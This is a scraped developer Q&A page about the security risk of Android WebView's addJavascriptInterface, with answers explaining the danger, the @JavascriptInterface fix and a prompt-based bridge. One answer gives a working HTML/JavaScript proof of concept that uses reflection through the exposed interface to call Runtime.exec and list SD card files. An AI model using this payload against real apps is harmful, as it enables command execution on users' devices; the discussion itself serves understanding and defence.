Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Android JavascriptInterface Security?

From the documentation: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"Using addJavascriptInterface() allows JavaScript to control your application. This can be a very useful feature or a dangerous security issue. When the HTML in the WebView is untrustworthy (for example, part or all of the HTML is provided by some person or process), then an attacker could inject HTML that will execute your code and possibly any code of the attacker's choosing. Do not use addJavascriptInterface() unless all of the HTML in this WebView was written by you. The Java object that is bound runs in another thread and not in the thread that it was constructed in.

Suppose I have an interface that only shows a custom dialog box, or starts a download to sd card. Would this be unsafe to use for any url? How could an attack page use the interface to run any code of the attacker's choosing?

Update: According to the documentation:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.

Is there an example of how this could happen? It this just saying that DOWNLOADINTERFACE.dangerousfunction could be called if that's a public method on that class?

Update:

I tested based on the example of the exploit below, sites can get access to the system through interfaces in Android 4.4, 4.1, and 3.2.

However, I was not seeing this bug on Android 2.2, or 2.3, the hack only causes a force-close. What is the best way to prevent this hack, other than not using JSInterface? Can I include bogus functions like this, to prevent unauthorized calling of functions?

public Object getClass() {
  //throw error, return self, or something?  
}

Or rewrite everything using ajax and intercepting calls? Would that result in better/worse performance?

Update:

I succeeded in removing the JS interface, and replaced the functionality by defining window.open(specialurl) commands for all the window.(interface) functions, and overriding those in the shouldOverrideUrlLoading. Strangely enough, window.open() must be used in some cases, or the webview breaks display (like javascript is stopping?), and in other cases location.replace should be used or it will just show a "interface://specialdata" could not be found message.

(I set settings.setJavaScriptCanOpenWindowsAutomatically(true) so window.open works from JS all the time.)

Anyone know the best way to rewrite an app with this behavior?

like image 545
NoBugs Avatar asked Jun 20 '11 18:06

NoBugs


People also ask

What is JavascriptInterface Android?

android.webkit.JavascriptInterface. Annotation that allows exposing methods to JavaScript. Starting from API level Build. VERSION_CODES. JELLY_BEAN_MR1 and above, only methods explicitly marked with this annotation are available to the Javascript code.

Is WebView secure Android?

WebView is in common use in Android applications. Although default configuration is secure, developers tend to introduce changes in its configuration which may introduce security risks.

Why is WebView not secure?

WebViews security concerns with JavaScript enabled for Android 4.3 and below. The primary vulnerabilities involved in the WebView component are Insecure Direct Object References, SQL Injection, and Cross-Site Scripting (XSS).

Is WebView sandboxed?

WebView's renderer process also runs in the app's context, although this process is sandboxed so it actually has even fewer permissions.


4 Answers

So code that gets run in a WebView is sandboxed by default - that is, it can't execute the dangerous native stuff like writing to the filesystem or accessing the address book etc...

Most javaScript falls into that category and in the case of showing a custom dialog, there's no danger.

addJavaScriptInterface allows you to expose native phone stuff to javascript and the danger is that if you don't write your javaScriptInterface correctly you could end up exposing a person's phone to real danger from a hacker.

I think it's easiest to understand using an example.

Say you write a javaScript interface where you can call a function from javaScript that writes a file to a path on the android filesystem. eg:

writeToFile(data, safepath);

The javascript all comes from your server but somehow a hacker compromises your server and changes the HTML/JavaScript that's being loaded into your WebView to run:

writeToFile(dangerousdata, pathtosomeotherfile);

Now I haven't examined the layout of an android package well enough to know which file I'd want to overwrite/change if I were a hacker, but we used to have little hacking battles with friends on our own linux machines when I was younger and you'd use a call like this to overwrite something like the SSH binary - then you'd be able to log all passwords that would come in. If you could do things like overwrite or extend the original apk with your own you could turn the person's phone into a server you could log into remotely (I'm not sure if that's possible due to how applications are sandboxed). Even if all you could do is overwrite a critical data file you might be able to cause a user to give you (the hacker in this case) access to security credentials, passwords, all sorts of things.

There was a time many years ago where we found a hole in the sendmail process on a linux machine that allowed us to start up a shell. We were logged into our server as the mail user. You couldn't do much as the mail user, but once you were on the machine it gave you the chance to look around for other weaknesses.

So you can do what you want to do safely, just be sure that you make that JavaScript interface really simple and dumb - it only writes to one file in one location and the data that you write is maybe text or something that doesn't get interpreted later. For dialogs I do this all the time - don't need any special native calls either. It's a great way to make a page you can update after the user has your app installed.

Hope this is helpful!

like image 31
walta Avatar answered Nov 04 '22 22:11

walta


an example access sdcard files from javascript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>
like image 159
Haitao Avatar answered Nov 05 '22 00:11

Haitao


The fix:

For applications running Android 4.2 all public methods that are annotated with JavascriptInterface can be accessed from JavaScript.

So if you develop an application for SDK version 17 or higher, you must add the @JavascriptInterface annotation to any method that you want available to your JavaScript.

If you do not provide the annotation, the method is not accessible by your web page when running on Android 4.2 or higher.

To know more click here

like image 40
Durai Amuthan.H Avatar answered Nov 04 '22 23:11

Durai Amuthan.H


OverView

To avoid the security issue of addJavaScriptInterface(), you need to design a communication protocol between native code and JavaScript.

The following is a simple design of the communication protocol.

In JavaScript

To simplify the communication protocol, every function call that you want Android to handle should obey the following pattern

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

In Java

One can override the onJsPrompt() in WebChromeClient.

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Cordova framework

This is also how Cordova Plugin works. Although Cordova is more complicated, it adds callback function to "JS to Native Call", and allow native code call JavaScript

like image 32
York Avatar answered Nov 04 '22 23:11

York